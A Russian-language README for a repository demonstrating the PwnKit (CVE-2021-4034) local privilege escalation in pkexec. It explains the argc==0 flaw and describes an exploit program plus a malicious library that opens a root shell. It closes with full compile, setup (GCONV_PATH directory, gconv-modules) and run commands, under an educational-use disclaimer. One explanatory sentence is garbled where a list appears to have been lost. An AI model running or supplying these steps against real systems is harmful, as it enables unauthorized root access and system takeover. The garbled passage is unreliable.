
Этот репозиторий показывает, как эксплуатировать уязвимость CVE-2021-4034.
Этот репозиторий содержит исходный код для демонстрации эксплуатации уязвимости CVE-2021-4034, также известной как PwnKit, обнаруженной в pkexec (часть пакета Polkit). Эта ошибка позволяет локально повысить привилегии до root с помощью использования вредоносных переменных окружения.
Этот код предоставляется исключительно в образовательных и исследовательских целях. Не используйте его в производственных системах или без явного разрешения. Неправильное использование может быть незаконным и противоречить условиям использования автора.
Уязвимость проявляется, когда pkexec выполняется без аргументов, то есть argc == 0. В этом случае pkexec пытается обратиться к argv[1], не проверяя существование argv[0], что приводит к чтению из envp[0]. Это позволяет атакующему:
GCONV_PATH..so для выполнения кода от имени root.Эксплойт использует это условие для загрузки вредоносной библиотеки, которая открывает оболочку от имени пользователя root.
cve-2021-4034.c: Исходный код эксплойта, который вызывает pkexec с argv[] = {NULL} и изменёнными переменными окружения.pwnkit.c: Исходный код вредоносной библиотеки, открывающей оболочку от имени root.gcc -Wall -o cve-2021-4034 cve-2021-4034.c
gcc -Wall -shared -fPIC -o pwnkit.so pwnkit.c
mkdir GCONV_PATH=.
echo 'module UTF-8// PWNKIT// pwnkit 1' > gconv-modules
cp $(which true) GCONV_PATH=./pwnkit.so:.
./cve-2021-4034